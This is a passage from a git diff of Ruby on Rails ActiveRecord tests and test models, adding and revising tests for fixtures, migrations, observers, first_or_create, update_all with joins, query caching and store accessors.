Course.connection, courses(:ruby).connection end + + def test_leaky_destroy + assert_nothing_raised { courses(:ruby) } + courses(:ruby).destroy + end + + def test_it_twice_in_whatever_order_to_check_for_fixture_leakage + test_leaky_destroy + end +end + +class TransactionalFixturesOnCustomConnectionTest < ActiveRecord::TestCase + set_fixture_class :courses => Course + fixtures :courses + self.use_transactional_fixtures = true + + def test_leaky_destroy + assert_nothing_raised { courses(:ruby) } + courses(:ruby).destroy + end + + def test_it_twice_in_whatever_order_to_check_for_fixture_leakage + test_leaky_destroy + end end class InvalidTableNameFixturesTest < ActiveRecord::TestCase @@ -480,7 +518,9 @@ class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase end class FixturesBrokenRollbackTest < ActiveRecord::TestCase - def blank_setup; end + def blank_setup + @fixture_connections = [ActiveRecord::Base.connection] + end alias_method :ar_setup_fixtures, :setup_fixtures alias_method :setup_fixtures, :blank_setup alias_method :setup, :blank_setup @@ -587,8 +627,8 @@ class FoxyFixturesTest < ActiveRecord::TestCase end def test_preserves_existing_fixture_data - assert_equal(2.weeks.ago.utc.to_date, pirates(:redbeard).created_on.utc.to_date) - assert_equal(2.weeks.ago.utc.to_date, pirates(:redbeard).updated_on.utc.to_date) + assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date) + assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date) end def test_generates_unique_ids diff --git a/activerecord/test/cases/identity_map_test.rb b/activerecord/test/cases/identity_map_test.rb index cd9c358799..3efc8bf559 100644 --- a/activerecord/test/cases/identity_map_test.rb +++ b/activerecord/test/cases/identity_map_test.rb @@ -164,7 +164,7 @@ class IdentityMapTest < ActiveRecord::TestCase end ############################################################################## - # Tests checking dirty attribute behaviour with IM # + # Tests checking dirty attribute behavior with IM # ############################################################################## def test_loading_new_instance_should_not_update_dirty_attributes @@ -238,7 +238,7 @@ class IdentityMapTest < ActiveRecord::TestCase end ############################################################################## - # Tests checking Identity Map behaviour with preloaded associations, joins, # + # Tests checking Identity Map behavior with preloaded associations, joins, # # includes etc. # ############################################################################## diff --git a/activerecord/test/cases/invalid_date_test.rb b/activerecord/test/cases/invalid_date_test.rb index 2de50b224c..98cda010ae 100644 --- a/activerecord/test/cases/invalid_date_test.rb +++ b/activerecord/test/cases/invalid_date_test.rb @@ -24,9 +24,9 @@ class InvalidDateTest < ActiveRecord::TestCase topic = Topic.new({"last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s}) # Oracle DATE columns are datetime columns and Oracle adapter returns Time value if current_adapter?(:OracleAdapter) - assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object") + assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object") else - assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object") + assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object") end end end diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb index afec64750e..3ae7b63dff 100644 --- a/activerecord/test/cases/invertible_migration_test.rb +++ b/activerecord/test/cases/invertible_migration_test.rb @@ -27,6 +27,19 @@ module ActiveRecord end end + class LegacyMigration < ActiveRecord::Migration + def self.up + create_table("horses") do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end + + def self.down + drop_table("horses") + end + end + def teardown if ActiveRecord::Base.connection.table_exists?("horses") ActiveRecord::Base.connection.drop_table("horses") @@ -41,17 +54,39 @@ module ActiveRecord end end - def test_up + def test_migrate_up migration = InvertibleMigration.new migration.migrate(:up) assert migration.connection.table_exists?("horses"), "horses should exist" end - def test_down + def test_migrate_down migration = InvertibleMigration.new migration.migrate :up migration.migrate :down assert !migration.connection.table_exists?("horses") end + + def test_legacy_up + LegacyMigration.migrate :up + assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + end + + def test_legacy_down + LegacyMigration.migrate :up + LegacyMigration.migrate :down + assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + end + + def test_up + LegacyMigration.up + assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + end + + def test_down + LegacyMigration.up + LegacyMigration.down + assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + end end end diff --git a/activerecord/test/cases/lifecycle_test.rb b/activerecord/test/cases/lifecycle_test.rb index 643e949087..75e5dfa49b 100644 --- a/activerecord/test/cases/lifecycle_test.rb +++ b/activerecord/test/cases/lifecycle_test.rb @@ -231,6 +231,18 @@ class LifecycleTest < ActiveRecord::TestCase assert_not_nil observer.topic_ids.last end + test "able to disable observers" do + observer = DeveloperObserver.instance # activate + observer.calls.clear + + ActiveRecord::Base.observers.disable DeveloperObserver do + Developer.create! :name => 'Ancestor', :salary => 100000 + SpecialDeveloper.create! :name => 'Descendent', :salary => 100000 + end + + assert_equal [], observer.calls + end + def test_observer_is_called_once observer = DeveloperObserver.instance # activate observer.calls.clear diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb index a0cb5dbdc5..0ab4f30363 100644 --- a/activerecord/test/cases/method_scoping_test.rb +++ b/activerecord/test/cases/method_scoping_test.rb @@ -14,7 +14,7 @@ class MethodScopingTest < ActiveRecord::TestCase def test_set_conditions Developer.send(:with_scope, :find => { :conditions => 'just a test...' }) do - assert_match '(just a test...)', Developer.scoped.arel.to_sql + assert_match '(just a test...)', Developer.scoped.to_sql end end @@ -274,7 +274,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do Developer.send(:with_scope, :find => { :limit => 10 }) do devs = Developer.scoped - assert_match '(salary = 80000)', devs.arel.to_sql + assert_match '(salary = 80000)', devs.to_sql assert_equal 10, devs.taken end end @@ -308,7 +308,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do devs = Developer.scoped - assert_match "(name = 'David') AND (salary = 80000)", devs.arel.to_sql + assert_match "(name = 'David') AND (salary = 80000)", devs.to_sql assert_equal(1, Developer.count) end Developer.send(:with_scope, :find => { :conditions => "name = 'Maiha'" }) do @@ -321,7 +321,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => 'salary = 80000', :limit => 10 }) do Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do devs = Developer.scoped - assert_match "(salary = 80000) AND (name = 'David')", devs.arel.to_sql + assert_match "(salary = 80000) AND (name = 'David')", devs.to_sql assert_equal 10, devs.taken end end diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb index 36007255fa..d108b456f0 100644 --- a/activerecord/test/cases/migration/command_recorder_test.rb +++ b/activerecord/test/cases/migration/command_recorder_test.rb @@ -104,9 +104,9 @@ module ActiveRecord end def test_invert_rename_index - @recorder.record :rename_index, [:old, :new] + @recorder.record :rename_index, [:table, :old, :new] rename = @recorder.inverse.first - assert_equal [:rename_index, [:new, :old]], rename + assert_equal [:rename_index, [:table, :new, :old]], rename end def test_invert_add_timestamps diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb index ed0240cada..4a09a87322 100644 --- a/activerecord/test/cases/named_scope_test.rb +++ b/activerecord/test/cases/named_scope_test.rb @@ -182,7 +182,7 @@ class NamedScopeTest < ActiveRecord::TestCase def test_first_and_last_should_allow_integers_for_limit assert_equal Topic.base.first(2), Topic.base.to_a.first(2) - assert_equal Topic.base.last(2), Topic.base.to_a.last(2) + assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2) end def test_first_and_last_should_not_use_query_when_results_are_loaded diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb index 57d1441128..adfd8e83a1 100644 --- a/activerecord/test/cases/persistence_test.rb +++ b/activerecord/test/cases/persistence_test.rb @@ -29,6 +29,26 @@ class PersistencesTest < ActiveRecord::TestCase end end + def test_update_all_doesnt_ignore_order + assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error + test_update_with_order_succeeds = lambda do |order| + begin + Author.order(order).update_all('id = id + 1') + rescue ActiveRecord::ActiveRecordError + false + end + end + + if test_update_with_order_succeeds.call('id DESC') + assert !test_update_with_order_succeeds.call('id ASC') # test that this wasn't a fluke and using an incorrect order results in an exception + else + # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead + assert_sql(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\Z/i) do + test_update_with_order_succeeds.call('id DESC') + end + end + end + def test_update_all_with_order_and_limit_updates_subset_only author = authors(:david) assert_nothing_raised do @@ -182,9 +202,12 @@ class PersistencesTest < ActiveRecord::TestCase end def test_create_columns_not_equal_attributes - topic = Topic.new - topic.title = 'Another New Topic' - topic.send :write_attribute, 'does_not_exist', 'test' + topic = Topic.allocate.init_with( + 'attributes' => { + 'title' => 'Another New Topic', + 'does_not_exist' => 'test' + } + ) assert_nothing_raised { topic.save } end @@ -229,9 +252,11 @@ class PersistencesTest < ActiveRecord::TestCase topic.title = "Still another topic" topic.save - topicReloaded = Topic.find(topic.id) - topicReloaded.title = "A New Topic" - topicReloaded.send :write_attribute, 'does_not_exist', 'test' + topicReloaded = Topic.allocate + topicReloaded.init_with( + 'attributes' => topic.attributes.merge('does_not_exist' => 'test') + ) + topicReloaded.title = 'A New Topic' assert_nothing_raised { topicReloaded.save } end diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb index 379cf5b44e..434b8a677a 100644 --- a/activerecord/test/cases/pooled_connections_test.rb +++ b/activerecord/test/cases/pooled_connections_test.rb @@ -3,6 +3,8 @@ require "models/project" require "timeout" class PooledConnectionsTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + def setup @per_test_teardown = [] @connection = ActiveRecord::Base.remove_connection diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb index 7e3da145e5..4bb5752096 100644 --- a/activerecord/test/cases/primary_keys_test.rb +++ b/activerecord/test/cases/primary_keys_test.rb @@ -26,7 +26,7 @@ class PrimaryKeysTest < ActiveRecord::TestCase def test_to_key_with_primary_key_after_destroy topic = Topic.find(1) topic.destroy - assert_equal nil, topic.to_key + assert_equal [1], topic.to_key end def test_integer_key @@ -146,3 +146,23 @@ class PrimaryKeysTest < ActiveRecord::TestCase assert_equal k.connection.quote_column_name("bar"), k.quoted_primary_key end end + +class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + + def test_set_primary_key_with_no_connection + return skip("disconnect wipes in-memory db") if in_memory_db? + + connection = ActiveRecord::Base.remove_connection + + model = Class.new(ActiveRecord::Base) do + set_primary_key 'foo' + end + + assert_equal 'foo', model.primary_key + + ActiveRecord::Base.establish_connection(connection) + + assert_equal 'foo', model.primary_key + end +end diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb index ad17f6f83a..b2429d631f 100644 --- a/activerecord/test/cases/query_cache_test.rb +++ b/activerecord/test/cases/query_cache_test.rb @@ -13,6 +13,32 @@ class QueryCacheTest < ActiveRecord::TestCase ActiveRecord::Base.connection.disable_query_cache! end + def test_exceptional_middleware_clears_and_disables_cache_on_error + assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' + + mw = ActiveRecord::QueryCache.new lambda { |env| + Task.find 1 + Task.find 1 + assert_equal 1, ActiveRecord::Base.connection.query_cache.length + raise "lol borked" + } + assert_raises(RuntimeError) { mw.call({}) } + + assert_equal 0, ActiveRecord::Base.connection.query_cache.length + assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' + end + + def test_exceptional_middleware_leaves_enabled_cache_alone + ActiveRecord::Base.connection.enable_query_cache! + + mw = ActiveRecord::QueryCache.new lambda { |env| + raise "lol borked" + } + assert_raises(RuntimeError) { mw.call({}) } + + assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on' + end + def test_middleware_delegates called = false mw = ActiveRecord::QueryCache.new lambda { |env| @@ -121,13 +147,16 @@ class QueryCacheTest < ActiveRecord::TestCase end def test_cache_does_not_wrap_string_results_in_arrays - require 'sqlite3/version' if current_adapter?(:SQLite3Adapter) + if current_adapter?(:SQLite3Adapter) + require 'sqlite3/version' + sqlite3_version = RUBY_PLATFORM =~ /java/ ? Jdbc::SQLite3::VERSION : SQLite3::VERSION + end Task.cache do # Oracle adapter returns count() as Fixnum or Float if current_adapter?(:OracleAdapter) assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") - elsif current_adapter?(:SQLite3Adapter) && SQLite3::VERSION > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter) + elsif current_adapter?(:SQLite3Adapter) && sqlite3_version > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter) # Future versions of the sqlite3 adapter will return numeric assert_instance_of Fixnum, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") @@ -208,9 +237,9 @@ class QueryCacheBodyProxyTest < ActiveRecord::TestCase test "is polite to it's body and responds to it" do body = Class.new(String) { def to_path; "/path"; end }.new - proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body) + proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body, ActiveRecord::Base.connection_id) assert proxy.respond_to?(:to_path) assert_equal proxy.to_path, "/path" end -end
\ No newline at end of file +end diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb index 41312e8661..69e9fc8d61 100644 --- a/activerecord/test/cases/reflection_test.rb +++ b/activerecord/test/cases/reflection_test.rb @@ -18,6 +18,7 @@ require 'models/subscriber' require 'models/subscription' require 'models/tag' require 'models/sponsor' +require 'models/edge' class ReflectionTest < ActiveRecord::TestCase include ActiveRecord::Reflection @@ -244,7 +245,7 @@ class ReflectionTest < ActiveRecord::TestCase # Normal association assert_equal "id", Author.reflect_on_association(:posts).association_primary_key.to_s assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s - assert_equal "id", Tagging.reflect_on_association(:taggable).association_primary_key.to_s + assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s # Through association (uses the :primary_key option from the source reflection) assert_equal "nick", Author.reflect_on_association(:subscribers).association_primary_key.to_s @@ -252,11 +253,25 @@ class ReflectionTest < ActiveRecord::TestCase assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested end + def test_association_primary_key_raises_when_missing_primary_key + reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, {}, Author) + assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key } + + through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, {}, Author) + through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge')) + assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key } + end + def test_active_record_primary_key assert_equal "nick", Subscriber.reflect_on_association(:subscriptions).active_record_primary_key.to_s assert_equal "name", Author.reflect_on_association(:essay).active_record_primary_key.to_s end + def test_active_record_primary_key_raises_when_missing_primary_key + reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, {}, Edge) + assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key } + end + def test_foreign_type assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s diff --git a/activerecord/test/cases/relation_scoping_test.rb b/activerecord/test/cases/relation_scoping_test.rb index f2d177d834..1e2093273e 100644 --- a/activerecord/test/cases/relation_scoping_test.rb +++ b/activerecord/test/cases/relation_scoping_test.rb @@ -170,7 +170,7 @@ class NestedRelationScopingTest < ActiveRecord::TestCase Developer.where('salary = 80000').scoping do Developer.limit(10).scoping do devs = Developer.scoped - assert_match '(salary = 80000)', devs.arel.to_sql + assert_match '(salary = 80000)', devs.to_sql assert_equal 10, devs.taken end end @@ -524,4 +524,22 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count end + + def test_default_scope_is_threadsafe + if in_memory_db? + skip "in memory db can't share a db between threads" + end + + threads = [] + assert_not_equal 1, ThreadsafeDeveloper.unscoped.count + + threads << Thread.new do + Thread.current[:long_default_scope] = true + assert_equal 1, ThreadsafeDeveloper.all.count + end + threads << Thread.new do + assert_equal 1, ThreadsafeDeveloper.all.count + end + threads.each(&:join) + end end diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb index 0aaa0342b1..95408a5f29 100644 --- a/activerecord/test/cases/relations_test.rb +++ b/activerecord/test/cases/relations_test.rb @@ -540,6 +540,29 @@ class RelationTest < ActiveRecord::TestCase } end + def test_find_all_using_where_with_relation_and_alternate_primary_key + cool_first = minivans(:cool_first) + # switching the lines below would succeed in current rails + # assert_queries(2) { + assert_queries(1) { + relation = Minivan.where(:minivan_id => Minivan.where(:name => cool_first.name)) + assert_equal [cool_first], relation.all + } + end + + def test_find_all_using_where_with_relation_does_not_alter_select_values + david = authors(:david) + + subquery = Author.where(:id => david.id) + + assert_queries(1) { + relation = Author.where(:id => subquery) + assert_equal [david], relation.all + } + + assert_equal 0, subquery.select_values.size + end + def test_find_all_using_where_with_relation_with_joins david = authors(:david) assert_queries(1) { @@ -840,6 +863,128 @@ class RelationTest < ActiveRecord::TestCase assert_equal 'hen', hen.name end + def test_first_or_create + parrot = Bird.where(:color => 'green').first_or_create(:name => 'parrot') + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + + same_parrot = Bird.where(:color => 'green').first_or_create(:name => 'parakeet') + assert_kind_of Bird, same_parrot + assert same_parrot.persisted? + assert_equal parrot, same_parrot + end + + def test_first_or_create_with_no_parameters + parrot = Bird.where(:color => 'green').first_or_create + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert_equal 'green', parrot.color + end + + def test_first_or_create_with_block + parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + + same_parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parakeet' } + assert_equal parrot, same_parrot + end + + def test_first_or_create_with_array + several_green_birds = Bird.where(:color => 'green').first_or_create([{:name => 'parrot'}, {:name => 'parakeet'}]) + assert_kind_of Array, several_green_birds + several_green_birds.each { |bird| assert bird.persisted? } + + same_parrot = Bird.where(:color => 'green').first_or_create([{:name => 'hummingbird'}, {:name => 'macaw'}]) + assert_kind_of Bird, same_parrot + assert_equal several_green_birds.first, same_parrot + end + + def test_first_or_create_bang_with_valid_options + parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parrot') + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + + same_parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parakeet') + assert_kind_of Bird, same_parrot + assert same_parrot.persisted? + assert_equal parrot, same_parrot + end + + def test_first_or_create_bang_with_invalid_options + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!(:pirate_id => 1) } + end + + def test_first_or_create_bang_with_no_parameters + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create! } + end + + def test_first_or_create_bang_with_valid_block + parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + + same_parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parakeet' } + assert_equal parrot, same_parrot + end + + def test_first_or_create_bang_with_invalid_block + assert_raise(ActiveRecord::RecordInvalid) do + Bird.where(:color => 'green').first_or_create! { |bird| bird.pirate_id = 1 } + end + end + + def test_first_or_create_with_valid_array + several_green_birds = Bird.where(:color => 'green').first_or_create!([{:name => 'parrot'}, {:name => 'parakeet'}]) + assert_kind_of Array, several_green_birds + several_green_birds.each { |bird| assert bird.persisted? } + + same_parrot = Bird.where(:color => 'green').first_or_create!([{:name => 'hummingbird'}, {:name => 'macaw'}]) + assert_kind_of Bird, same_parrot + assert_equal several_green_birds.first, same_parrot + end + + def test_first_or_create_with_invalid_array + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!([ {:name => 'parrot'}, {:pirate_id => 1} ]) } + end + + def test_first_or_initialize + parrot = Bird.where(:color => 'green').first_or_initialize(:name => 'parrot') + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.valid? + assert parrot.new_record? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + end + + def test_first_or_initialize_with_no_parameters + parrot = Bird.where(:color => 'green').first_or_initialize + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert !parrot.valid? + assert parrot.new_record? + assert_equal 'green', parrot.color + end + + def test_first_or_initialize_with_block + parrot = Bird.where(:color => 'green').first_or_initialize { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.valid? + assert parrot.new_record? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + end + def test_explicit_create_scope hens = Bird.where(:name => 'hen') assert_equal 'hen', hens.new.name @@ -961,4 +1106,46 @@ class RelationTest < ActiveRecord::TestCase assert scope.eager_loading? end + + def test_ordering_with_extra_spaces + assert_equal authors(:david), Author.order('id DESC , name DESC').last + end + + def test_update_all_with_joins + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id) + count = comments.count + + assert_equal count, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:greetings).post + end + + def test_update_all_with_joins_and_limit + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).limit(1) + assert_equal 1, comments.update_all(:post_id => posts(:thinking).id) + end + + def test_update_all_with_joins_and_limit_and_order + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('comments.id').limit(1) + assert_equal 1, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:greetings).post + assert_equal posts(:welcome), comments(:more_greetings).post + end + + def test_update_all_with_joins_and_offset + all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id) + count = all_comments.count + comments = all_comments.offset(1) + + assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id) + end + + def test_update_all_with_joins_and_offset_and_order + all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('posts.id', 'comments.id') + count = all_comments.count + comments = all_comments.offset(1) + + assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:more_greetings).post + assert_equal posts(:welcome), comments(:greetings).post + end end diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb index 4adecf8e83..71ff727b7f 100644 --- a/activerecord/test/cases/schema_dumper_test.rb +++ b/activerecord/test/cases/schema_dumper_test.rb @@ -1,13 +1,22 @@ require "cases/helper" -require 'stringio' class SchemaDumperTest < ActiveRecord::TestCase + def setup + @stream = StringIO.new + end + def standard_dump - stream = StringIO.new + @stream = StringIO.new ActiveRecord::SchemaDumper.ignore_tables = [] - ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream) - stream.string + ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream) + @stream.string + end + + if "string".encoding_aware? + def test_magic_comment + assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump + end end def test_schema_dump diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb index 382d659289..61b04b3e37 100644 --- a/activerecord/test/cases/serialization_test.rb +++ b/activerecord/test/cases/serialization_test.rb @@ -7,12 +7,13 @@ class SerializationTest < ActiveRecord::TestCase def setup @contact_attributes = { - :name => 'aaron stack', - :age => 25, - :avatar => 'binarydata', - :created_at => Time.utc(2006, 8, 1), - :awesome => false, - :preferences => { :gem => '<strong>ruby</strong>' } + :name => 'aaron stack', + :age => 25, + :avatar => 'binarydata', + :created_at => Time.utc(2006, 8, 1), + :awesome => false, + :preferences => { :gem => '<strong>ruby</strong>' }, + :alternative_id => nil } end diff --git a/activerecord/test/cases/session_store/session_test.rb b/activerecord/test/cases/session_store/session_test.rb index 669c0b7b4d..258cee7aba 100644 --- a/activerecord/test/cases/session_store/session_test.rb +++ b/activerecord/test/cases/session_store/session_test.rb @@ -36,6 +36,7 @@ module ActiveRecord end def test_find_by_sess_id_compat + Session.reset_column_information klass = Class.new(Session) do def self.session_id_column 'sessid' @@ -53,6 +54,7 @@ module ActiveRecord assert_equal session.sessid, found.session_id ensure klass.drop_table! + Session.reset_column_information end def test_find_by_session_id diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb new file mode 100644 index 0000000000..3d056d93b6 --- /dev/null +++ b/activerecord/test/cases/store_test.rb @@ -0,0 +1,29 @@ +require 'cases/helper' +require 'models/admin' +require 'models/admin/user' + +class StoreTest < ActiveRecord::TestCase + setup do + @john = Admin::User.create(name: 'John Doe', color: 'black') + end + + test "reading store attributes through accessors" do + assert_equal 'black', @john.color + assert_nil @john.homepage + end + + test "writing store attributes through accessors" do + @john.color = 'red' + @john.homepage = '37signals.com' + + assert_equal 'red', @john.color + assert_equal '37signals.com', @john.homepage + end + + test "accessing attributes not exposed by accessors" do + @john.settings[:icecream] = 'graeters' + @john.save + + assert 'graeters', @john.reload.settings[:icecream] + end +end diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb index f85fb4e5da..e82ca3f93d 100644 --- a/activerecord/test/cases/unconnected_test.rb +++ b/activerecord/test/cases/unconnected_test.rb @@ -4,7 +4,7 @@ class TestRecord < ActiveRecord::Base end class TestUnconnectedAdapter < ActiveRecord::TestCase - self.use_transactional_fixtures = false unless supports_savepoints? + self.use_transactional_fixtures = false def setup @underlying = ActiveRecord::Base.connection diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml index 8c1a45430e..f450efd839 100644 --- a/activerecord/test/config.example.yml +++ b/activerecord/test/config.example.yml @@ -37,11 +37,13 @@ connections: db2: arunit: + adapter: ibm_db host: localhost username: arunit password: arunit database: arunit arunit2: + adapter: ibm_db host: localhost username: arunit password: arunit diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml index abb91101da..6004f390a4 100644 --- a/activerecord/test/fixtures/pirates.yml +++ b/activerecord/test/fixtures/pirates.yml @@ -5,5 +5,5 @@ blackbeard: redbeard: catchphrase: "Avast!" parrot: louis - created_on: <%= 2.weeks.ago.to_s(:db) %> - updated_on: <%= 2.weeks.ago.to_s(:db) %> + created_on: "<%= 2.weeks.ago.to_s(:db) %>" + updated_on: "<%= 2.weeks.ago.to_s(:db) %>" diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml index 01c95b3a4c..402ca85faf 100644 --- a/activerecord/test/fixtures/tasks.yml +++ b/activerecord/test/fixtures/tasks.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html first_task: id: 1 starting: 2005-03-30t06:30:00.00+01:00 diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb index 74bb21551e..275a03c344 100644 --- a/activerecord/test/models/admin/user.rb +++ b/activerecord/test/models/admin/user.rb @@ -1,3 +1,4 @@ class Admin::User < ActiveRecord::Base belongs_to :account + store :settings, accessors: [ :color, :homepage ] end
\ No newline at end of file diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb index efb98b66e7..888afc7604 100644 --- a/activerecord/test/models/bulb.rb +++ b/activerecord/test/models/bulb.rb @@ -33,4 +33,9 @@ class Bulb < ActiveRecord::Base end class CustomBulb < Bulb + after_initialize :set_awesomeness + + def set_awesomeness + self.frickinawesome = true if name == 'Dude' + end end diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb index 76f20b1061..b9c2e8ec9a 100644 --- a/activerecord/test/models/car.rb +++ b/activerecord/test/models/car.rb @@ -8,7 +8,7 @@ class Car < ActiveRecord::Base has_one :frickinawesome_bulb, :class_name => "Bulb", :conditions => { :frickinawesome => true } has_many :tyres - has_many :engines + has_many :engines, :dependent => :destroy has_many :wheels, :as => :wheelable scope :incl_tyres, includes(:tyres) diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb index e081eee661..3d15c7fbed 100644 --- a/activerecord/test/models/contact.rb +++ b/activerecord/test/models/contact.rb @@ -11,12 +11,13 @@ class Contact < ActiveRecord::Base connection.merge_column('contacts', name, sql_type, options) end - column :name, :string - column :age, :integer - column :avatar, :binary - column :created_at, :datetime - column :awesome, :boolean - column :preferences, :string + column :name, :string + column :age, :integer + column :avatar, :binary + column :created_at, :datetime + column :awesome, :boolean + column :preferences, :string + column :alternative_id, :integer serialize :preferences diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb index f182a7fa97..4dc9fff9fd 100644 --- a/activerecord/test/models/developer.rb +++ b/activerecord/test/models/developer.rb @@ -227,3 +227,12 @@ class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base default_scope OpenStruct.new(:call => 